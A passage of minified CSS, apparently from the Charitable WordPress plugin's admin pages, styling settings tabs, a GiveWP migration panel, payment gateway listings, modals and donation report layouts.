a.nav-tab.nav-tab-active,body.charitable_page_charitable-reports h3.nav-sub-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-settings h3.nav-sub-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-tools h3.nav-sub-tab-wrapper a.nav-tab.nav-tab-active{font-style:normal;font-weight:600;line-height:130%;border-bottom:2px solid #5aa152;color:#5aa152}tr.charitable-tools-heading-pro th[scope=row] h4{font-size:20px!important;font-weight:600!important;margin:20px 0 6px 0!important;line-height:20px!important}tr.charitable-tools-heading-pro th[scope=row] p{font-size:14px;font-weight:600;color:#50575e;margin:4px 0 0 0}.charitable-import-pro-notice{background:#fff8e5;border:1px solid #f99e36;padding:12px 16px;margin:0 0 20px 0;font-family:Inter,sans-serif;font-size:13px;line-height:1.6}.charitable-import-pro-notice p{margin:0}.charitable-import-pro-notice a{color:#b8600b}th .badge.beta,th label .badge.beta{display:inline-block;color:#fff;background-color:#007bff;font-size:10px;font-weight:700;letter-spacing:.5px;padding:2px 8px;border-radius:.25rem;text-transform:uppercase;line-height:1.4;vertical-align:middle;margin-left:6px}tr.charitable-givewp-migration-row th[scope=row] label{font-size:13px;font-weight:600}.charitable-givewp-migration-wrap{max-width:520px;padding:10px 0;font-family:Inter,sans-serif}.charitable-givewp-migration-wrap .migration-info-box{background:#f6f7f7;border:1px solid #e1e1e1;border-radius:4px;padding:16px 20px;margin-bottom:16px}.charitable-givewp-migration-wrap .migration-info-box.charitable-before-import{background:#fff8e5;border:1px solid #dba617}.charitable-givewp-migration-wrap .migration-info-box .info-box-heading{margin:0 0 8px 0;font-size:13px}.charitable-givewp-migration-wrap .migration-info-box ul{margin:0;padding:0 0 0 18px;list-style:disc}.charitable-givewp-migration-wrap .migration-info-box ul li{font-size:13px;line-height:1.6;color:#50575e;margin-bottom:4px}.charitable-givewp-migration-wrap .migration-data-found{border-collapse:collapse;width:100%;margin:0}.charitable-givewp-migration-wrap .migration-data-found td{padding:4px 12px 4px 0;font-size:13px;color:#50575e;border:none}.charitable-givewp-migration-wrap .migration-data-found td.data-count{font-weight:700;color:#1d2327;width:40px}.charitable-givewp-migration-wrap .migration-select-section{margin-bottom:16px}.charitable-givewp-migration-wrap .migration-select-section .select-heading{margin:0 0 10px 0;font-size:13px}.charitable-givewp-migration-wrap .migration-options{margin-bottom:10px;padding-bottom:10px;border-bottom:1px solid #e1e1e1}.charitable-givewp-migration-wrap .migration-options label{display:block;margin-bottom:8px;font-size:13px;color:#1d2327;cursor:pointer}.charitable-givewp-migration-wrap .migration-options label input[type=checkbox]{margin-right:6px}.charitable-givewp-migration-wrap .migration-extra-options{margin-bottom:0}.charitable-givewp-migration-wrap .migration-extra-options label{display:block;margin-bottom:6px;font-size:13px;color:#1d2327;cursor:pointer}.charitable-givewp-migration-wrap .migration-extra-options label input[type=checkbox]{margin-right:6px}.charitable-givewp-migration-wrap .migration-extra-options .option-description{color:#888;font-style:italic;font-size:12px}.charitable-givewp-migration-wrap .migration-button-wrap{margin:20px 0}.charitable-givewp-migration-wrap .charitable-migration-btn{display:inline-flex;align-items:center;gap:6px;background:#5aa152;color:#fff;border:none;border-radius:4px;padding:10px 22px;font-size:14px;font-weight:600;font-family:Inter,sans-serif;cursor:pointer;line-height:1.4;transition:background .2s ease}.charitable-givewp-migration-wrap .charitable-migration-btn:hover{background:#4a8a44;color:#fff}.charitable-givewp-migration-wrap .charitable-migration-btn:disabled{opacity:.6;cursor:not-allowed}.charitable-givewp-migration-wrap .charitable-migration-btn .dashicons{font-size:18px;width:18px;height:18px;line-height:1}.charitable-givewp-migration-wrap .migration-progress{display:none;margin-top:15px}.charitable-givewp-migration-wrap .progress-bar-outer{width:100%;height:24px;background:#f0f0f1;border-radius:3px;overflow:hidden}.charitable-givewp-migration-wrap .progress-bar-inner{width:0;height:100%;background:#5aa152;transition:width .3s ease;border-radius:3px}.charitable-givewp-migration-wrap .progress-status{margin-top:8px;font-size:13px;color:#646970}.charitable-givewp-migration-wrap .migration-dry-run-results,.charitable-givewp-migration-wrap .migration-results{display:none;margin-top:15px}.charitable-givewp-migration-wrap .migration-dry-run-results h4,.charitable-givewp-migration-wrap .migration-results h4{font-size:14px;font-weight:600;margin:0 0 10px 0}.charitable-givewp-migration-wrap .migration-dry-run-results table,.charitable-givewp-migration-wrap .migration-results table{border-collapse:collapse;width:100%}.charitable-givewp-migration-wrap .migration-dry-run-results table td,.charitable-givewp-migration-wrap .migration-dry-run-results table th,.charitable-givewp-migration-wrap .migration-results table td,.charitable-givewp-migration-wrap .migration-results table th{padding:8px 12px;text-align:left;border-bottom:1px solid #e1e1e1;font-size:13px}.charitable-givewp-migration-wrap .migration-dry-run-results table th,.charitable-givewp-migration-wrap .migration-results table th{font-weight:600;color:#1d2327}.charitable-givewp-migration-wrap .migration-error{display:none;color:#d63638;margin-top:10px;font-size:13px}body.charitable_page_charitable-reports div#charitable-settings table.form-table tbody tr:first-child th[scope=row] h4,body.charitable_page_charitable-reports h4,body.charitable_page_charitable-settings div#charitable-settings table.form-table tbody tr:first-child th[scope=row] h4,body.charitable_page_charitable-settings h4,body.charitable_page_charitable-tools div#charitable-settings table.form-table tbody tr:first-child th[scope=row] h4,body.charitable_page_charitable-tools h4{font-family:Inter,sans-serif;font-weight:500}body.charitable_page_charitable-reports.charitable-admin-settings-gateways div#charitable-settings table.form-table th,body.charitable_page_charitable-settings.charitable-admin-settings-gateways div#charitable-settings table.form-table th,body.charitable_page_charitable-tools.charitable-admin-settings-gateways div#charitable-settings table.form-table th{min-width:auto!important}body.charitable_page_charitable-reports.charitable-admin-settings-gateways div#charitable-settings table.form-table tbody tr th[scope=row] h4,body.charitable_page_charitable-settings.charitable-admin-settings-gateways div#charitable-settings table.form-table tbody tr th[scope=row] h4,body.charitable_page_charitable-tools.charitable-admin-settings-gateways div#charitable-settings table.form-table tbody tr th[scope=row] h4{padding-bottom:20px}body.charitable_page_charitable-reports.charitable-admin-settings-gateways div#charitable-settings table.form-table tbody tr td,body.charitable_page_charitable-settings.charitable-admin-settings-gateways div#charitable-settings table.form-table tbody tr td,body.charitable_page_charitable-tools.charitable-admin-settings-gateways div#charitable-settings table.form-table tbody tr td{padding-top:5px}body.charitable_page_charitable-reports.charitable-admin-settings-gateways div#charitable-settings table.form-table a.wpcharitable-stripe-connect,body.charitable_page_charitable-settings.charitable-admin-settings-gateways div#charitable-settings table.form-table a.wpcharitable-stripe-connect,body.charitable_page_charitable-tools.charitable-admin-settings-gateways div#charitable-settings table.form-table a.wpcharitable-stripe-connect{margin-top:-10px}body.charitable_page_charitable-reports.charitable-admin-settings-gateways .charitable-settings-field,body.charitable_page_charitable-settings.charitable-admin-settings-gateways .charitable-settings-field,body.charitable_page_charitable-tools.charitable-admin-settings-gateways .charitable-settings-field{font-size:13px;margin-top:10px}body.charitable_page_charitable-reports.charitable-admin-settings-gateways #charitable_settings_test_mode.charitable-settings-field,body.charitable_page_charitable-settings.charitable-admin-settings-gateways #charitable_settings_test_mode.charitable-settings-field,body.charitable_page_charitable-tools.charitable-admin-settings-gateways #charitable_settings_test_mode.charitable-settings-field{margin-top:-10px}body.charitable_page_charitable-reports .charitable-settings-object h4,body.charitable_page_charitable-settings .charitable-settings-object h4,body.charitable_page_charitable-tools .charitable-settings-object h4{line-height:40px}body.charitable_page_charitable-reports .charitable-settings-object.charitable-gateway,body.charitable_page_charitable-settings .charitable-settings-object.charitable-gateway,body.charitable_page_charitable-tools .charitable-settings-object.charitable-gateway{min-height:40px}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo{float:left;padding:5px 0 0 20px}body.charitable_page_charitable-reports .charitable-settings-object .gateway-badge,body.charitable_page_charitable-settings .charitable-settings-object .gateway-badge,body.charitable_page_charitable-tools .charitable-settings-object .gateway-badge{background-color:#347d39!important;font-weight:500;color:#fff;font-size:.775rem;line-height:1.25rem;padding-bottom:.225rem;padding-left:.625rem;padding-right:.625rem;padding-top:.225rem}body.charitable_page_charitable-reports .charitable-settings-object .make-default-gateway,body.charitable_page_charitable-settings .charitable-settings-object .make-default-gateway,body.charitable_page_charitable-tools .charitable-settings-object .make-default-gateway{display:inline-block;color:#2b66d1;text-transform:capitalize;font-weight:500;font-size:12px;line-height:12px;margin-left:0!important;text-decoration:underline}body.charitable_page_charitable-reports .charitable-settings-object .make-default-gateway i,body.charitable_page_charitable-settings .charitable-settings-object .make-default-gateway i,body.charitable_page_charitable-tools .charitable-settings-object .make-default-gateway i{font-size:15px;line-height:15px;margin-right:3px}body.charitable_page_charitable-reports .charitable-settings-object .default-gateway,body.charitable_page_charitable-settings .charitable-settings-object .default-gateway,body.charitable_page_charitable-tools .charitable-settings-object .default-gateway{margin-top:6px;display:inline-block}body.charitable_page_charitable-reports .charitable-settings-object>.charitable-badge,body.charitable_page_charitable-settings .charitable-settings-object>.charitable-badge,body.charitable_page_charitable-tools .charitable-settings-object>.charitable-badge{margin-left:15px;top:8px;position:relative}body.charitable_page_charitable-reports .charitable-settings-object>.charitable-badge~.charitable-badge,body.charitable_page_charitable-settings .charitable-settings-object>.charitable-badge~.charitable-badge,body.charitable_page_charitable-tools .charitable-settings-object>.charitable-badge~.charitable-badge{margin-left:5px}body.charitable_page_charitable-reports .charitable-settings-object,body.charitable_page_charitable-settings .charitable-settings-object,body.charitable_page_charitable-tools .charitable-settings-object{display:flex;flex-direction:row;align-items:center;justify-content:space-between}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo{padding:0}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo-name,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo-name,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo-name{padding:0 0 0 10px}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo-name .charitable-badge,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo-name .charitable-badge,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo-name .charitable-badge{margin-right:10px}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo,body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo-name h4,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo-name h4,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo-name h4{width:130px}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo{margin-bottom:-5px}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo-name,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo-name,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo-name{display:flex;align-items:center;justify-content:center;flex-direction:row}body.charitable_page_charitable-reports .charitable-settings-object.square .gateway-logo,body.charitable_page_charitable-settings .charitable-settings-object.square .gateway-logo,body.charitable_page_charitable-tools .charitable-settings-object.square .gateway-logo{margin-bottom:-5px}body.charitable_page_charitable-reports tr.charitable-test-mode-checkbox,body.charitable_page_charitable-settings tr.charitable-test-mode-checkbox,body.charitable_page_charitable-tools tr.charitable-test-mode-checkbox{display:flex;justify-content:left;align-items:center;width:calc(100% - 20px)}body.charitable_page_charitable-reports tr.charitable-test-mode-checkbox th h4,body.charitable_page_charitable-settings tr.charitable-test-mode-checkbox th h4,body.charitable_page_charitable-tools tr.charitable-test-mode-checkbox th h4{padding:0!important;margin:0!important}body.charitable_page_charitable-reports tr.charitable-test-mode-checkbox td,body.charitable_page_charitable-settings tr.charitable-test-mode-checkbox td,body.charitable_page_charitable-tools tr.charitable-test-mode-checkbox td{margin:0;padding:0}body.charitable_page_charitable-reports .square-business-locations.square-disconnected,body.charitable_page_charitable-settings .square-business-locations.square-disconnected,body.charitable_page_charitable-tools .square-business-locations.square-disconnected{display:none!important}body.charitable-admin-settings-gateways.charitable-admin-settings-gateways-main table.form-table tbody tr:last-child{display:none}body.charitable-admin-settings-gateways.charitable-admin-settings-gateways-main p.submit{margin-bottom:40px}body.charitable-admin-settings a.button,body.taxonomy-campaign_category a.button,body.taxonomy-campaign_tag a.button{background-color:#f8f8f9;border-color:#d7d7db;color:#5c5f6a;border-radius:5px;padding:5px 10px}body.charitable-admin-settings a.button:hover,body.taxonomy-campaign_category a.button:hover,body.taxonomy-campaign_tag a.button:hover{background-color:#d1d1d8;border-color:#d7d7db}body.charitable-admin-settings a.button-primary,body.taxonomy-campaign_category a.button-primary,body.taxonomy-campaign_tag a.button-primary{background-color:#5aa152;border-color:#5aa152;color:#fff;border-radius:5px}body.charitable-admin-settings a.button-primary:hover,body.taxonomy-campaign_category a.button-primary:hover,body.taxonomy-campaign_tag a.button-primary:hover{background-color:#3f7539;border-color:#3f7539}body.charitable-admin-settings input.button-primary[type=submit],body.taxonomy-campaign_category input.button-primary[type=submit],body.taxonomy-campaign_tag input.button-primary[type=submit]{background-color:#5aa152;border-color:#5aa152;color:#fff;border-radius:5px;font-family:Inter,sans-serif;font-weight:600;font-size:14px;line-height:14px;padding:15px 20px;text-transform:capitalize}body.charitable-admin-settings input.button-primary[type=submit]:hover,body.taxonomy-campaign_category input.button-primary[type=submit]:hover,body.taxonomy-campaign_tag input.button-primary[type=submit]:hover{background-color:#3f7539;border-color:#3f7539}body.taxonomy-campaign_category input.button-primary[type=submit],body.taxonomy-campaign_tag input.button-primary[type=submit]{line-height:0;height:50px}.charitable-badge{font-family:-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,Oxygen-Sans,Ubuntu,Cantarell,\"Helvetica Neue\",sans-serif;text-transform:uppercase;font-weight:700;text-align:center;line-height:6px;user-select:none;transition-property:all;transition-duration:.15s;transition-timing-function:ease-out}.charitable-badge i.fa{margin-right:5px}.charitable-badge-sm{font-size:8px;letter-spacing:.4px;padding:6px 8px}.charitable-badge-inline{display:inline-block}.charitable-badge-green{color:#30b450;background-color:#e5f6e9}.charitable-badge-orange{color:#f18200;background-color:#fff3e6}.charitable-badge-rounded{border-radius:3px}.charitable-panel-sidebar .charitable-badge{border-radius:4px;color:#fff;font-size:10px;font-weight:700;line-height:1;padding:4px 5px;margin-inline-end:10px;position:relative;top:-2px;left:10px}.charitable-panel-sidebar .charitable-badge-green{color:#fff;background-color:#00a32a}body.wp-admin #wpbody .charitable-wrap .badge.v2{background-color:transparent!important}body.wp-admin #wpbody .charitable-wrap .badge.v2 .mascot{height:75px;width:75px;background-image:url(\"..\u002F..\u002Fassets\u002Fimages\u002Fcharitable-logo.svg\");background-size:cover;background-repeat:no-repeat}.charitable-hide{display:none}.charitable-hidden{display:none!important}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}div#charitable-settings table.form-table tbody tr.section-heading th[scope=row] h4,div#charitable-settings table.form-table tbody tr:first-child th[scope=row] h4{font-weight:600!important}div#charitable-tools table.form-table tbody tr:first-child th[scope=row] h4{font-weight:600!important;font-size:20px;margin:0 0 -20px 0;line-height:20px}div#charitable-tools h4#code-snippets,div#charitable-tools h4#system-information{font-weight:600!important;font-size:20px;margin:20px 0;line-height:20px}.notice.charitable-notice{padding:10px 10px}body.post-type-campaign .jconfirm .jconfirm-box{padding:0 0 0}body.post-type-campaign .jconfirm .jconfirm-box .jconfirm-closeIcon{color:#545660;padding-top:5px;padding-right:10px;font-size:40px!important}body.post-type-campaign .jconfirm .jconfirm-box div.jconfirm-content-pane{margin:35px 30px -10px 30px;width:-webkit-calc(100% - 30px);width:-moz-calc(100% - 30px);width:calc(100% - 30px)}body.post-type-campaign .jconfirm .jconfirm-box div.jconfirm-title-c{padding:30px 0 40px 30px;background-color:#282937}body.post-type-campaign .jconfirm .jconfirm-box div.jconfirm-title-c span.jconfirm-title{color:#fff;font-weight:600}body.post-type-campaign .jconfirm .jconfirm-box .jconfirm-buttons{float:left;padding:0 30px 30px 30px}body.post-type-campaign .jconfirm .jconfirm-box .jconfirm-buttons button.btn-green{background-color:#5aa152;text-transform:capitalize;border-radius:5px;font-weight:500;padding:15px 25px;font-size:16px;line-height:20px}body.post-type-campaign .jconfirm .jconfirm-box .jconfirm-buttons button.btn-green:hover{background-color:#3f7539}body.post-type-campaign .jconfirm .jconfirm-box input.campaign_name.form-control{border-color:#dfdfe1;display:inline-block;margin-left:10px;margin-top:20px;margin-bottom:20px!important;width:90%!important}body.post-type-campaign .jconfirm .jconfirm-box label{display:inline-block!important;margin-top:0!important}body.post-type-campaign .jconfirm .jconfirm-box a.charitable-lite-pro-popup-link{color:#3459c4!important;text-decoration:none}body.post-type-campaign .jconfirm .jconfirm-box a.charitable-lite-pro-popup-link:hover{text-decoration:underline}body.post-type-campaign .jconfirm .jconfirm-box.jconfirm-type-create-campaign .jconfirm-closeIcon{color:#fff;opacity:.7;width:15px;height:15px;top:25px;right:25px;font-weight:200;font-size:28px!important}body.post-type-campaign .jconfirm .jconfirm-box.jconfirm-type-create-campaign .jconfirm-title-c{color:#e7e7e9;padding:30px 0 30px 30px!important;font-size:18px;font-weight:600}body.post-type-campaign .jconfirm .jconfirm-box.jconfirm-type-create-campaign div.jconfirm-content-pane{margin:0 30px 0 30px}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal{max-width:400px;background-color:#fff;color:#5c5f6b;font-family:Inter,sans-serif}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal .modal-close{position:absolute;top:10px;right:10px;z-index:10;cursor:pointer}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal .modal-close::before{content:\"\\f158\";display:block!important;font:normal 20px\u002F1 dashicons;speak:none;height:22px;margin:2px 0;text-align:center;width:22px;color:#777;-webkit-font-smoothing:antialiased!important;-moz-osx-font-smoothing:grayscale}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal h3{margin:0 0 30px 0;font-size:24px;line-height:32px;font-weight:400;text-align:left;color:#5c5f6b}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal label,body.post-type-campaign.edit-php.post-type-charitable .charitable-modal legend{color:#303442;margin-bottom:10px;display:block;font-size:14px}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal select{width:100%;padding:5px 15px}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal input[type=text],body.post-type-campaign.edit-php.post-type-charitable .charitable-modal select{margin-bottom:20px;border-radius:4px}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal button.button{background:#fafafb;font-weight:500;font-size:12px;line-height:14px;text-align:center;margin:0 auto 0 0;color:#5e616c;border:1px solid #ddd;border-radius:4px}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal input.charitable-datepicker{width:48%;display:inline-block;background-image:url(\"..\u002F..\u002Fimages\u002Ficons\u002Fcalendar.png\");background-repeat:no-repeat;background-position:163px center;background-size:15px 15px;border:1px solid #e3e3e5;border-radius:4px}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal #charitable-filter-end_date_to,body.post-type-campaign.edit-php.post-type-charitable .charitable-modal #charitable-filter-start_date_to{float:right}body.post-type-donation .jconfirm .jconfirm-box{padding:0 0 0}body.post-type-donation .jconfirm .jconfirm-box .jconfirm-closeIcon{color:#545660;padding-top:5px;padding-right:10px;font-size:40px!important}body.post-type-donation .jconfirm .jconfirm-box div.jconfirm-content-pane{margin:35px 30px -10px 30px;width:-webkit-calc(100% - 30px);width:-moz-calc(100% - 30px);width:calc(100% - 30px)}body.post-type-donation .jconfirm .jconfirm-box div.jconfirm-title-c{padding:30px 0 40px 30px;background-color:#282937}body.post-type-donation .jconfirm .jconfirm-box div.jconfirm-title-c span.jconfirm-title{color:#fff;font-weight:600}body.post-type-donation .jconfirm .jconfirm-box .jconfirm-buttons{float:left;padding:0 30px 30px 30px}body.post-type-donation .jconfirm .jconfirm-box .jconfirm-buttons button.btn-green{background-color:#5aa152;text-transform:capitalize;border-radius:5px;font-weight:500;padding:15px 25px;font-size:16px;line-height:20px}body.post-type-donation .jconfirm .jconfirm-box .jconfirm-buttons button.btn-green:hover{background-color:#3f7539}body.post-type-donation .jconfirm .jconfirm-box input.donation_name.form-control{border-color:#dfdfe1;display:inline-block;margin-left:10px;margin-top:20px;margin-bottom:20px!important;width:90%!important}body.post-type-donation .jconfirm .jconfirm-box label{display:inline-block!important;margin-top:0!important}body.post-type-donation .jconfirm .jconfirm-box a.charitable-lite-pro-popup-link{color:#3459c4!important;text-decoration:none}body.post-type-donation .jconfirm .jconfirm-box a.charitable-lite-pro-popup-link:hover{text-decoration:underline}body.post-type-donation .jconfirm .jconfirm-box.jconfirm-type-create-donation .jconfirm-closeIcon{color:#fff;opacity:.7;width:15px;height:15px;top:25px;right:25px;font-weight:200;font-size:28px!important}body.post-type-donation .jconfirm .jconfirm-box.jconfirm-type-create-donation .jconfirm-title-c{color:#e7e7e9;padding:30px 0 30px 30px!important;font-size:18px;font-weight:600}body.post-type-donation .jconfirm .jconfirm-box.jconfirm-type-create-donation div.jconfirm-content-pane{margin:0 30px 0 30px}body.post-type-donation.edit-php.post-type-charitable .charitable-modal{max-width:400px;background-color:#fff;color:#5c5f6b;font-family:Inter,sans-serif}body.post-type-donation.edit-php.post-type-charitable .charitable-modal .modal-close{position:absolute;top:10px;right:10px;z-index:10;cursor:pointer}body.post-type-donation.edit-php.post-type-charitable .charitable-modal .modal-close::before{content:\"\\f158\";display:block!important;font:normal 20px\u002F1 dashicons;speak:none;height:22px;margin:2px 0;text-align:center;width:22px;color:#777;-webkit-font-smoothing:antialiased!important;-moz-osx-font-smoothing:grayscale}body.post-type-donation.edit-php.post-type-charitable .charitable-modal h3{margin:0 0 30px 0;font-size:24px;line-height:32px;font-weight:400;text-align:left;color:#5c5f6b}body.post-type-donation.edit-php.post-type-charitable .charitable-modal label,body.post-type-donation.edit-php.post-type-charitable .charitable-modal legend{color:#303442;margin-bottom:10px;display:block;font-size:14px}body.post-type-donation.edit-php.post-type-charitable .charitable-modal select{width:100%;padding:5px 15px}body.post-type-donation.edit-php.post-type-charitable .charitable-modal input[type=text],body.post-type-donation.edit-php.post-type-charitable .charitable-modal select{margin-bottom:20px;border-radius:4px}body.post-type-donation.edit-php.post-type-charitable .charitable-modal button.button{background:#fafafb;font-weight:500;font-size:12px;line-height:14px;text-align:center;margin:0 auto 0 0;color:#5e616c;border:1px solid #ddd;border-radius:4px}body.post-type-donation.edit-php.post-type-charitable .charitable-modal input.charitable-datepicker{width:48%;display:inline-block;background-image:url(\"..\u002F..\u002Fimages\u002Ficons\u002Fcalendar.png\");background-repeat:no-repeat;background-position:163px center;background-size:15px 15px;border:1px solid #e3e3e5;border-radius:4px}body.post-type-donation.edit-php.post-type-charitable .charitable-modal #charitable-filter-end_date_to,body.post-type-donation.edit-php.post-type-charitable .charitable-modal #charitable-filter-start_date_to{float:right}body.charitable_page_charitable-reports .charitable-activity-report,body.charitable_page_charitable-reports .charitable-overview-report{position:relative;padding:0}body.charitable_page_charitable-reports .charitable-activity-report a.button,body.charitable_page_charitable-reports .charitable-overview-report a.button{border-radius:5px;font-family:Inter,sans-serif;font-weight:600;font-size:14px;line-height:14px;padding:15px 20px;text-transform:capitalize}body.charitable_page_charitable-reports .charitable-activity-report a.button.button-primary,body.charitable_page_charitable-reports .charitable-overview-report a.button.button-primary{background-color:#5aa152;border-color:#5aa152;color:#fff}body.charitable_page_charitable-reports .charitable-overview-report-loading{background-color:rgba(255,255,255,.85);position:absolute;top:0;bottom:0;left:0;right:0;width:100%;height:100%;z-index:99}body.charitable_page_charitable-reports .charitable-section-loading{opacity:.25}body.charitable_page_charitable-reports .nav-tab.activity::after,body.charitable_page_charitable-reports .nav-tab.advanced::after,body.charitable_page_charitable-reports .nav-tab.donors::after{content:\"Pro\";background-color:#f99e36;padding:3px 7px;font-size:11px;line-height:11px;text-transform:uppercase;color:#fff;font-weight:600;margin-left:5px;margin-right:5px;margin-top:0;position:relative;top:-7px}body.charitable_page_charitable-reports .tablenav{font-family:Inter,sans-serif!important;min-height:30px;height:auto;margin-top:0;margin-bottom:0}body.charitable_page_charitable-reports .tablenav .alignleft,body.charitable_page_charitable-reports .tablenav .alignright{margin-top:10px;margin-bottom:10px}body.charitable_page_charitable-reports .tablenav #charitable-advanced-date-pickers,body.charitable_page_charitable-reports .tablenav #charitable-advanced-filter-buttons{display:inline-block}body.charitable_page_charitable-reports .tablenav form{display:block;margin:0;padding:0;float:left}body.charitable_page_charitable-reports .tablenav select{font-size:13px;line-height:29px;font-weight:500;max-width:none;padding-right:30px;background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;height:38px}body.charitable_page_charitable-reports .tablenav a.button,body.charitable_page_charitable-reports .tablenav input.button{background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;height:38px;padding-top:0;padding-bottom:0;min-height:auto;line-height:38px;font-size:13px}body.charitable_page_charitable-reports .tablenav a.button:hover,body.charitable_page_charitable-reports .tablenav input.button:hover{background-color:#e4e4e7}body.charitable_page_charitable-reports .tablenav .charitable-datepicker-container a.button{display:block}body.charitable_page_charitable-reports .tablenav a.button.with-icon label{padding-right:10px}body.charitable_page_charitable-reports .tablenav a.button.with-icon img{margin-bottom:-2px}body.charitable_page_charitable-reports .tablenav button.charitable-report-download-button{background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;margin-left:4px;margin-right:4px;height:38px;padding-top:0;padding-bottom:0}body.charitable_page_charitable-reports .tablenav button.charitable-report-download-button:hover{background-color:#e4e4e7}body.charitable_page_charitable-reports .tablenav button.charitable-report-download-button label{padding-right:10px;pointer-events:none}body.charitable_page_charitable-reports .tablenav button.charitable-report-download-button img{margin-bottom:-2px}body.charitable_page_charitable-reports .tablenav button.charitable-report-print-button{background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;margin-left:4px;margin-right:4px;height:38px;padding-top:0;padding-bottom:0}body.charitable_page_charitable-reports .tablenav button.charitable-report-print-button:hover{background-color:#e4e4e7}body.charitable_page_charitable-reports .tablenav button.charitable-report-print-button label{padding-right:10px;pointer-events:none}body.charitable_page_charitable-reports .tablenav button.charitable-report-print-button img{margin-bottom:-4px}body.charitable_page_charitable-reports .tablenav input.charitable-datepicker{width:115px;display:inline-block;background-image:url(\"..\u002F..\u002Fimages\u002Ficons\u002Fcalendar.png\");background-repeat:no-repeat;background-position:90px center;background-size:15px 15px;font-size:13px;border-radius:0;background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7}body.charitable_page_charitable-reports .tablenav input.charitable-datepicker-ranged,body.charitable_page_charitable-reports .tablenav input.charitable-reports-datepicker{width:195px;display:inline-block;background-image:url(\"..\u002F..\u002Fimages\u002Ficons\u002Fcalendar.png\");background-repeat:no-repeat;background-position:170px center;background-size:15px 15px;font-size:13px;border-radius:0;background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;margin-left:4px;margin-right:4px;height:38px;padding-top:0;padding-bottom:0}body.charitable_page_charitable-reports .tablenav input.charitable-datepicker-ranged:hover,body.charitable_page_charitable-reports .tablenav input.charitable-reports-datepicker:hover{background-color:#e4e4e7}body.charitable_page_charitable-reports .tablenav.with-margin{margin-bottom:20px}body.charitable_page_charitable-reports .charitable-section{margin-top:20px;margin-bottom:20px;display:table}body.charitable_page_charitable-reports .charitable-section .alignleft,body.charitable_page_charitable-reports .charitable-section .alignright{margin-bottom:15px;margin-top:15px}body.charitable_page_charitable-reports .charitable-section.no-bottom{margin-bottom:0}body.charitable_page_charitable-reports .charitable-section.no-bottom .alignleft,body.charitable_page_charitable-reports .charitable-section.no-bottom .alignright{margin-bottom:0}body.charitable_page_charitable-reports .charitable-container{border-radius:5px;color:#757781;background-color:#fff}body.charitable_page_charitable-reports .charitable-datepicker-container{display:inline-block;margin-left:5px}body.charitable_page_charitable-reports .charitable-headline-graph-container{padding:20px 30px}body.charitable_page_charitable-reports .charitable-headline-graph-container.charitable-with-growth-tools{position:relative}body.charitable_page_charitable-reports .charitable-section-grid{display:grid;grid-template-columns:repeat(2,1fr);grid-gap:20px;margin-top:20px}body.charitable_page_charitable-reports .charitable-section-grid.one-third{display:flex;flex-direction:row}body.charitable_page_charitable-reports .charitable-section-grid.charitable-section-grid-column-flexible{align-items:flex-start}body.charitable_page_charitable-reports .charitable-section-grid.charitable-section-grid-column-single{columns:1;column-gap:none;display:block}body.charitable_page_charitable-reports .charitable-cards{display:grid;grid-template-columns:repeat(4,1fr);margin-top:20px;margin-bottom:20px;grid-gap:20px;width:100%}body.charitable_page_charitable-reports .charitable-cards .charitable-card{padding-top:60px;padding-bottom:60px;font-weight:500px;font-size:16px;line-height:16px;text-align:center}body.charitable_page_charitable-reports .charitable-cards .charitable-card p{margin-top:5px;margin-bottom:0}body.charitable_page_charitable-reports .charitable-cards .charitable-card strong{color:#474a57;font-weight:600;font-size:42px;line-height:44px}body.charitable_page_charitable-reports .donations-breakdown tr th{color:#6a6c77}body.charitable_page_charitable-reports .donations-breakdown td{padding-top:20px;padding-bottom:20px;color:#8c8e96}body.charitable_page_charitable-reports .donations-breakdown td.negative{color:#f99e36}body.charitable_page_charitable-reports .donations-breakdown td.positive{color:#5aa152}body.charitable_page_charitable-reports .donations-breakdown td:first-child,body.charitable_page_charitable-reports .donations-breakdown tr th:first-child{padding-left:30px}body.charitable_page_charitable-reports .donations-breakdown td.column-date{font-weight:600}body.charitable_page_charitable-reports .charitable-report-card .header{margin:20px 0 0 